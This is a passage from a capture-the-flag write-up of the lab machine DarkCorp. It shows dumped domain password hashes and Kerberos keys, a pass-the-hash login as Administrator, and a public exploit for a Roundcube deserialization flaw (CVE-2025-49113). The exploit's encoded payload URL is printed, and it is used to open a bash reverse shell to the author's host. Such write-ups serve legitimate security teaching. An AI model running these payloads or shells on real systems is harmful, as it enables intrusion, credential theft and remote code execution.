darkcorp.htb\eugene.b:25601:aad3b435b51404eeaad3b435b51404ee:84d9acc39d242f951f136a433328cf83:::
darkcorp.htb\bryce.c:25603:aad3b435b51404eeaad3b435b51404ee:5aa8484c54101e32418a533ad956ca60:::
DC-01$:1000:aad3b435b51404eeaad3b435b51404ee:45d397447e9d8a8c181655c27ef31d28:::
DRIP$:1601:aad3b435b51404eeaad3b435b51404ee:151fe64718dc2484760ddb30a01373a8:::
WEB-01$:20601:aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:97064b5e2ed9569a7a61cb6e71fd624e20de8464fc6d3f7f9c9ccd5ec865cd05
Administrator:aes128-cts-hmac-sha1-96:0424167c3041ed3b8df4ab1c996690c1
Administrator:des-cbc-md5:a1b004ad46dc19d9
krbtgt:aes256-cts-hmac-sha1-96:2795479225a152c8958119e8549079f2a59e101d84a3e464603a9cced55580d6
krbtgt:aes128-cts-hmac-sha1-96:183ebcd77ae33f476eb13c3f4404b98d
krbtgt:des-cbc-md5:7fe9e5ad67524001
victor.r:aes256-cts-hmac-sha1-96:84e79cb6b8959ebdda0dc73d2c6728bb9664d0d75c2aef702b0ea0a4126570bb
victor.r:aes128-cts-hmac-sha1-96:bc1fa04172b62be4428af05dcd4941af
victor.r:des-cbc-md5:62491fa740918316
svc_acc:aes256-cts-hmac-sha1-96:21ebfe2a41e5d614795ef004a06135748d5af03d0f2ca7fd6f6d804ac00f759a
svc_acc:aes128-cts-hmac-sha1-96:aebdba02d03943f17f553495f5f5e1d1
svc_acc:des-cbc-md5:5bec0bb54a405ed9
john.w:aes256-cts-hmac-sha1-96:6c0d89a7461f21150bbab0e4c9dea04ca4feb27a4f432c95030dbfa17f4f7de5
john.w:aes128-cts-hmac-sha1-96:16da7304c10a476b10a0ad301f858826
john.w:des-cbc-md5:e90b041f52b30875
angela.w:aes256-cts-hmac-sha1-96:25f7053fcfb74cf4f02dab4b2c7cb1ae506f3c3c09e4a5b7229b9f21a761830a
angela.w:aes128-cts-hmac-sha1-96:15f1467015c7cdd49ef74fd2fe549cf3
angela.w:des-cbc-md5:5b0168dacbc22a5e
angela.w.adm:aes256-cts-hmac-sha1-96:bec3236552b087f396597c10431e9a604be4b22703d37ae45cde6cd99873c693
angela.w.adm:aes128-cts-hmac-sha1-96:994dccb881c6a80c293cac8730fd18a2
angela.w.adm:des-cbc-md5:cb0268169289bfd9
taylor.b:aes256-cts-hmac-sha1-96:b269239174e6de5c93329130e77143d7a560f26938c06dae8b82cae17afb809c
taylor.b:aes128-cts-hmac-sha1-96:a3f7e9307519e6d3cc8e4fba83df0fef
taylor.b:des-cbc-md5:9b8010a21f1c7a3d
taylor.b.adm:aes256-cts-hmac-sha1-96:4c1e6783666861aac09374bee2bc48ba5ad331f3ac87e067c4a330c6a31dd71a
taylor.b.adm:aes128-cts-hmac-sha1-96:85712fd85df4669be88350520651cfe2
taylor.b.adm:des-cbc-md5:ce6176f4f4e5cd9e
darkcorp.htb\eugene.b:aes256-cts-hmac-sha1-96:33e0cf90ad3c5d0cd264207421c506b56b8ca9703b5be8c58a97169851067fd1
darkcorp.htb\eugene.b:aes128-cts-hmac-sha1-96:adf8b2743349be9684f8ec27df53fa92
darkcorp.htb\eugene.b:des-cbc-md5:2f5ef4b06b231afd
darkcorp.htb\bryce.c:aes256-cts-hmac-sha1-96:e835ec6b7d680472bdf65ac11ec17395930b5d778ba08481ef7290616b1fa7a8
darkcorp.htb\bryce.c:aes128-cts-hmac-sha1-96:09b1a46858723452ce11da2335b602b0
darkcorp.htb\bryce.c:des-cbc-md5:26d55b5849b6e623
DC-01$:aes256-cts-hmac-sha1-96:23f8c53f91fd2035d0dc5163341bd883cc051c1ba998f5aed318cd0d820fa1b2
DC-01$:aes128-cts-hmac-sha1-96:2715a4681263d6f9daf03b7dd7065a23
DC-01$:des-cbc-md5:8038f74f7c0da1b5
DRIP$:aes256-cts-hmac-sha1-96:0af3228efe394bbe3cc9e4b5a4f67c1ece5b8d1147ea81ae761d7078ddfd7fde
DRIP$:aes128-cts-hmac-sha1-96:ad2815103da00827b7948cf319ae3bbd
DRIP$:des-cbc-md5:85ab756bc892493d
WEB-01$:aes256-cts-hmac-sha1-96:f16448747d7df00ead462e40b26561ba01be87d83068ef0ed766ec8e7dd2a12e
WEB-01$:aes128-cts-hmac-sha1-96:7867cb5a59da118ad045a5da54039eae
WEB-01$:des-cbc-md5:38e00bb3d901eaef
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.
[*] Cleaning up...
[*] Stopping service RemoteRegistry
Exception ignored in: <function Registry.__del__ at 0x781862545e40>
Traceback (most recent call last):
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/winregistry.py", line 185, in __del__
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/winregistry.py", line 182, in close
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/examples/secretsdump.py", line 360, in close
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/smbconnection.py", line 605, in closeFile
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/smb3.py", line 1356, in close
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/smb3.py", line 473, in sendSMB
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/smb3.py", line 442, in signSMB
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/crypto.py", line 150, in AES_CMAC
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/Cryptodome/Cipher/AES.py", line 229, in new
KeyError: 'Cryptodome.Cipher.AES'
Exception ignored in: <function Registry.__del__ at 0x781862545e40>
Traceback (most recent call last):
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/winregistry.py", line 185, in __del__
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/winregistry.py", line 182, in close
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/examples/secretsdump.py", line 360, in close
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/smbconnection.py", line 605, in closeFile
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/smb3.py", line 1356, in close
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/smb3.py", line 473, in sendSMB
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/smb3.py", line 442, in signSMB
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/crypto.py", line 150, in AES_CMAC
File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/Cryptodome/Cipher/AES.py", line 229, in new
KeyError: 'Cryptodome.Cipher.AES'
This is not at all necessary, but a nice way to get access as the administrator account using WinRM:
oxdf@hacky$ proxychains -q evil-winrm-py -i dc-01 -u administrator -H fcb3ca5a19a1ccf2d14c13e8b64cde0f
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.4.1
[*] Connecting to 'dc-01:5985' as 'administrator'
evil-winrm-py PS C:\Users\Administrator\Documents>
And grab the root flag:
evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
2dc68348************************
Beyond Root
Since the release of DarkCorp, a new vulnerability / exploit, CVE-2025-49113, dropped. This vulnerability in RoundCube is described as:
Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.
This repo has a nice POC that will generate the serialized object and upload it to run a command. I’ll tell it to ping my host:
oxdf@hacky$ php CVE-2025-49113.php http://mail.drip.htb 0xdf 0xdf 'ping -c 1 10.10.14.8'
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
### Retrieving CSRF token and session cookie...
### Authenticating user: 0xdf
### Authentication successful
### Command to be executed:
ping -c 1 10.10.14.8
### Injecting payload...
### End payload: http://mail.drip.htb/?_from=edit-%21%C5%22%C5%3B%C5i%C5%3A%C50%C5%3B%C5O%C5%3A%C51%C56%C5%3A%C5%22%C5C%C5r%C5y%C5p%C5t%C5_%C5G%C5P%C5G%C5_%C5E%C5n%C5g%C5i%C5n%C5e%C5%22%C5%3A%C51%C5%3A%C5%7B%C5S%C5%3A%C52%C56%C5%3A%C5%22%C5%5C%C50%C50%C5C%C5r%C5y%C5p%C5t%C5_%C5G%C5P%C5G%C5_%C5E%C5n%C5g%C5i%C5n%C5e%C5%5C%C50%C50%C5_%C5g%C5p%C5g%C5c%C5o%C5n%C5f%C5%22%C5%3B%C5S%C5%3A%C52%C52%C5%3A%C5%22%C5p%C5i%C5n%C5g%C5+%C5-%C5c%C5+%C51%C5+%C51%C50%C5%5C%C52%C5e%C51%C50%C5%5C%C52%C5e%C51%C54%C5%5C%C52%C5e%C58%C5%3B%C5%23%C5%22%C5%3B%C5%7D%C5i%C5%3A%C50%C5%3B%C5b%C5%3A%C50%C5%3B%C5%7D%C5%22%C5%3B%C5%7D%C5%7D%C5&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload
### Payload injected successfully
### Executing payload...
### Exploit executed successfully
There is an incoming ICMP packet:
oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
21:27:25.865542 IP 10.10.11.54 > 10.10.14.8: ICMP echo request, id 1000, seq 1, length 64
21:27:25.865566 IP 10.10.14.8 > 10.10.11.54: ICMP echo reply, id 1000, seq 1, length 64
I can change that to a bash reverse shell:
oxdf@hacky$ php CVE-2025-49113.php http://mail.drip.htb 0xdf 0xdf 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
### Retrieving CSRF token and session cookie...
### Authenticating user: 0xdf
### Authentication successful
### Command to be executed:
bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"
### Injecting payload...
### End payload: http://mail.drip.htb/?_from=edit-%21%C0%22%C0%3B%C0i%C0%3A%C00%C0%3B%C0O%C0%3A%C01%C06%C0%3A%C0%22%C0C%C0r%C0y%C0p%C0t%C0_%C0G%C0P%C0G%C0_%C0E%C0n%C0g%C0i%C0n%C0e%C0%22%C0%3A%C01%C0%3A%C0%7B%C0S%C0%3A%C02%C06%C0%3A%C0%22%C0%5C%C00%C00%C0C%C0r%C0y%C0p%C0t%C0_%C0G%C0P%C0G%C0_%C0E%C0n%C0g%C0i%C0n%C0e%C0%5C%C00%C00%C0_%C0g%C0p%C0g%C0c%C0o%C0n%C0f%C0%22%C0%3B%C0S%C0%3A%C05%C01%C0%3A%C0%22%C0b%C0a%C0s%C0h%C0+%C0-%C0c%C0+%C0%22%C0b%C0a%C0s%C0h%C0+%C0-%C0i%C0+%C0%3E%C0%26%C0+%C0%2F%C0d%C0e%C0v%C0%2F%C0t%C0c%C0p%C0%2F%C01%C00%C0%5C%C02%C0e%C01%C00%C0%5C%C02%C0e%C01%C04%C0%5C%C02%C0e%C08%C0%2F%C04%C04%C03%C0+%C00%C0%3E%C0%26%C01%C0%22%C0%3B%C0%23%C0%22%C0%3B%C0%7D%C0i%C0%3A%C00%C0%3B%C0b%C0%3A%C00%C0%3B%C0%7D%C0%22%C0%3B%C0%7D%C0%7D%C0&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload
### Payload injected successfully
### Executing payload...
It works:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.54 49856
bash: cannot set terminal process group (507): Inappropriate ioctl for device
bash: no job control in this shell
www-data@drip:/var/www/roundcube$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@drip:/var/www/roundcube$
This doesn’t buy me a ton. As the www-data user, I can work my way to the postgres user, joining the same path as above from there.





